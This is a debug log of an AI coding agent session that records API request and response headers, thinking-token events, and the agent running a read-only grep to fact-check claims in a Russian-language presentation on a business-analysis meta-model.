\u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\",\n[2026-09-29T07:54:55.725Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:54:55.725Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:54:55.725Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:54:55.725Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:54:55.725Z] [INFO]   }\n[2026-09-29T07:54:55.725Z] [INFO] }\n[2026-09-29T07:54:55.765Z] [STDOUT] [log_6bcbb0] sending request {\n[2026-09-29T07:54:55.772Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:55.778Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:55.782Z] [STDOUT]   options: {\n[2026-09-29T07:54:55.786Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:55.789Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:54:55.797Z] [STDOUT]     body: {\n[2026-09-29T07:54:55.801Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:55.803Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:55.806Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:54:55.812Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:54:55.821Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:54:55.826Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:54:55.829Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:54:55.835Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:54:55.840Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:54:55.844Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:54:55.848Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:54:55.852Z] [STDOUT]       stream: true,\n[2026-09-29T07:54:55.854Z] [STDOUT]     },\n[2026-09-29T07:54:55.857Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:54:55.861Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:54:55.865Z] [STDOUT]       aborted: false,\n[2026-09-29T07:54:55.869Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:54:55.872Z] [STDOUT]       onabort: null,\n[2026-09-29T07:54:55.875Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:54:55.878Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:54:55.880Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:54:55.882Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:54:55.890Z] [STDOUT]     },\n[2026-09-29T07:54:55.892Z] [STDOUT]     stream: true,\n[2026-09-29T07:54:55.900Z] [STDOUT]   },\n[2026-09-29T07:54:55.907Z] [STDOUT]   headers: {\n[2026-09-29T07:54:55.912Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:55.916Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:54:55.919Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:55.923Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:54:55.927Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:55.930Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:55.935Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:55.939Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:55.944Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:55.948Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1486\",\n[2026-09-29T07:54:55.953Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:54:55.955Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:54:55.957Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:55.960Z] [STDOUT]     \"x-client-request-id\": \"5b15bb0d-8384-49ad-b1ec-34cac5e28455\",\n[2026-09-29T07:54:55.965Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:55.968Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:55.973Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:55.976Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:55.978Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:55.981Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:55.984Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:55.986Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:54:55.988Z] [STDOUT]   },\n[2026-09-29T07:54:55.994Z] [STDOUT] }\n[2026-09-29T07:54:56.592Z] [STDOUT] [log_6bcbb0, request-id: \"req_011CfXNUr2U5whXuFkTPUzX3\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 847ms\n[2026-09-29T07:54:56.595Z] [STDOUT] [log_6bcbb0] response start {\n[2026-09-29T07:54:56.600Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:56.603Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:56.608Z] [STDOUT]   headers: {\n[2026-09-29T07:54:56.611Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:56.619Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:56.625Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:56.636Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:56.642Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:56.651Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.655Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:56.658Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:56.661Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:56.664Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:56.670Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:56.675Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:56.681Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:56.685Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.689Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:56.694Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:56.701Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:56.705Z] [STDOUT]     \"cf-ray\": \"a4296c326cf65d90-FRA\",\n[2026-09-29T07:54:56.709Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:56.712Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:56.715Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:56.721Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:56.735Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:56 GMT\",\n[2026-09-29T07:54:56.743Z] [STDOUT]     \"request-id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:54:56.751Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:56.757Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:56.764Z] [STDOUT]     traceresponse: \"00-f4a351452881a8cc5e6b33cd0fff4cdb-b60a067f68d2e24e-01\",\n[2026-09-29T07:54:56.769Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:56.772Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:56.779Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:56.784Z] [STDOUT]   },\n[2026-09-29T07:54:56.790Z] [STDOUT]   durationMs: 847,\n[2026-09-29T07:54:56.796Z] [STDOUT] }\n[2026-09-29T07:54:56.801Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:54:56.807Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:54:56 GMT\",\n[2026-09-29T07:54:56.813Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:56.831Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:56.841Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:54:56.847Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:56.849Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:56.852Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:56.855Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:54:56.859Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:56.863Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:56.866Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:56.868Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:56.872Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:56.875Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:56.879Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:56.884Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:56.889Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.892Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:56.896Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:56.900Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:56.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:56.909Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:56.918Z] [STDOUT]   \"request-id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:54:56.928Z] [STDOUT]   \"traceresponse\": \"00-f4a351452881a8cc5e6b33cd0fff4cdb-b60a067f68d2e24e-01\",\n[2026-09-29T07:54:56.948Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:56.952Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:56.955Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:54:56.960Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:56.971Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:56.975Z] [STDOUT]   \"cf-ray\": \"a4296c326cf65d90-FRA\",\n[2026-09-29T07:54:56.980Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:54:56.984Z] [STDOUT] [log_6bcbb0] response parsed {\n[2026-09-29T07:54:56.987Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:56.991Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:56.995Z] [STDOUT]   body: X {\n[2026-09-29T07:54:57.000Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:54:57.009Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:54:57.014Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:54:57.018Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:54:57.021Z] [STDOUT]     },\n[2026-09-29T07:54:57.024Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:54:57.028Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:54:57.036Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:54:57.039Z] [STDOUT]   },\n[2026-09-29T07:54:57.047Z] [STDOUT]   durationMs: 848,\n[2026-09-29T07:54:57.050Z] [STDOUT] }\n[2026-09-29T07:54:57.103Z] [INFO] {\n[2026-09-29T07:54:57.103Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:57.103Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:57.103Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:54:57.103Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:57.103Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:57.103Z] [INFO]   \"uuid\": \"817d5087-b474-4751-b75c-48209a549678\"\n[2026-09-29T07:54:57.103Z] [INFO] }\n[2026-09-29T07:54:58.181Z] [INFO] {\n[2026-09-29T07:54:58.181Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:58.181Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:58.181Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:54:58.181Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:58.181Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:58.181Z] [INFO]   \"uuid\": \"585663fb-a8a9-4884-b6b1-434331d351dd\"\n[2026-09-29T07:54:58.181Z] [INFO] }\n[2026-09-29T07:54:59.562Z] [INFO] {\n[2026-09-29T07:54:59.562Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:59.562Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:59.562Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:54:59.562Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:59.562Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:59.562Z] [INFO]   \"uuid\": \"b4f04080-882c-4694-8cb9-e5e53c3d4dc6\"\n[2026-09-29T07:54:59.562Z] [INFO] }\n[2026-09-29T07:55:00.964Z] [INFO] {\n[2026-09-29T07:55:00.964Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:00.964Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:00.964Z] [INFO]   \"estimated_tokens\": 500,\n[2026-09-29T07:55:00.964Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:00.964Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:00.964Z] [INFO]   \"uuid\": \"479535fd-4ea5-40ec-80bd-ebf716c9a1d3\"\n[2026-09-29T07:55:00.964Z] [INFO] }\n[2026-09-29T07:55:02.063Z] [INFO] {\n[2026-09-29T07:55:02.063Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:02.063Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:02.063Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:55:02.063Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:02.063Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:02.063Z] [INFO]   \"uuid\": \"642b7b45-fdee-4b2f-9905-44f745f40970\"\n[2026-09-29T07:55:02.063Z] [INFO] }\n[2026-09-29T07:55:03.165Z] [INFO] {\n[2026-09-29T07:55:03.165Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:03.165Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:03.165Z] [INFO]   \"estimated_tokens\": 700,\n[2026-09-29T07:55:03.165Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:03.165Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:03.165Z] [INFO]   \"uuid\": \"c3243adf-7df1-4f8f-9080-aeeb3558098b\"\n[2026-09-29T07:55:03.165Z] [INFO] }\n[2026-09-29T07:55:04.655Z] [INFO] {\n[2026-09-29T07:55:04.655Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:04.655Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:04.655Z] [INFO]   \"estimated_tokens\": 850,\n[2026-09-29T07:55:04.655Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:04.655Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:04.655Z] [INFO]   \"uuid\": \"2b254405-5e36-42bc-a8d3-0b9c287a26dd\"\n[2026-09-29T07:55:04.655Z] [INFO] }\n[2026-09-29T07:55:07.259Z] [INFO] {\n[2026-09-29T07:55:07.259Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:07.259Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:07.259Z] [INFO]   \"estimated_tokens\": 975,\n[2026-09-29T07:55:07.259Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:07.259Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:07.259Z] [INFO]   \"uuid\": \"3e325bbc-722b-45f8-892f-2ffa36a1d41c\"\n[2026-09-29T07:55:07.259Z] [INFO] }\n[2026-09-29T07:55:07.284Z] [INFO] {\n[2026-09-29T07:55:07.284Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:07.284Z] [INFO]   \"message\": {\n[2026-09-29T07:55:07.284Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:07.284Z] [INFO]     \"content\": [\n[2026-09-29T07:55:07.284Z] [INFO]       {\n[2026-09-29T07:55:07.284Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:07.284Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:55:07.284Z] [INFO]         \"signature\": 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\"assistant\",\n[2026-09-29T07:55:07.349Z] [INFO]   \"message\": {\n[2026-09-29T07:55:07.349Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:07.349Z] [INFO]     \"content\": [\n[2026-09-29T07:55:07.349Z] [INFO]       {\n[2026-09-29T07:55:07.349Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:07.349Z] [INFO]         \"thinking\": \"Most facts have checked out so far, including the CVE, LangGraph MIT license, node counts, and run numbers. I still need to verify a few remaining claims against the slides and sources.\\n\\n\",\n[2026-09-29T07:55:07.349Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:55:07.349Z] [INFO]     ],\n[2026-09-29T07:55:07.349Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:07.349Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:07.349Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:07.349Z] [INFO]       \"cache_creation_input_tokens\": 5637,\n[2026-09-29T07:55:07.349Z] [INFO]       \"cache_read_input_tokens\": 35966,\n[2026-09-29T07:55:07.349Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:07.349Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:07.349Z] [INFO]         \"ephemeral_1h_input_tokens\": 5637\n[2026-09-29T07:55:07.349Z] [INFO]       },\n[2026-09-29T07:55:07.349Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:55:07.349Z] [INFO]       \"service_tier\": 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}\n[2026-09-29T07:55:08.627Z] [INFO] {\n[2026-09-29T07:55:08.627Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:08.627Z] [INFO]   \"message\": {\n[2026-09-29T07:55:08.627Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:08.627Z] [INFO]     \"content\": [\n[2026-09-29T07:55:08.627Z] [INFO]       {\n[2026-09-29T07:55:08.627Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:08.627Z] [INFO]         \"id\": \"toolu_01UrCcwQiU9QwgVigxuWm2gG\",\n[2026-09-29T07:55:08.627Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:08.627Z] [INFO]         \"input\": {\n[2026-09-29T07:55:08.627Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; S=$P/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\ngrep -n -i 'BCREQ-1074\\\\|\u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|\u043f\u0435\u0440\u0435\u0434\u0430\u0447\\\\|23 \\\\|\u0434\u043e\u043c\u0435\u043d.*\u043e\u043f\u0435\u0440\u0430\u0446\\\\|1027\\\\|11 \u0441\u0443\u0449\u043d\\\\|7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\\\\|contact-center\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u043a\u0430\u043d\u043e\u043d\u0438\u0447\\\\|\u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442\\\\|\u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442\\\\|\u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\\\\|Dify\\\\|Camunda\\\\|AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432' $S | head -40\",\n[2026-09-29T07:55:08.627Z] [INFO]           \"description\": \"Cross-check claims against the slides document\"\n[2026-09-29T07:55:08.627Z] [INFO]         },\n[2026-09-29T07:55:08.627Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:08.627Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:08.627Z] [INFO]         }\n[2026-09-29T07:55:08.627Z] [INFO]       }\n[2026-09-29T07:55:08.627Z] [INFO]     ],\n[2026-09-29T07:55:08.627Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:08.627Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:08.627Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:08.627Z] [INFO]       \"cache_creation_input_tokens\": 5637,\n[2026-09-29T07:55:08.627Z] [INFO]       \"cache_read_input_tokens\": 35966,\n[2026-09-29T07:55:08.627Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:08.627Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:08.627Z] [INFO]         \"ephemeral_1h_input_tokens\": 5637\n[2026-09-29T07:55:08.627Z] 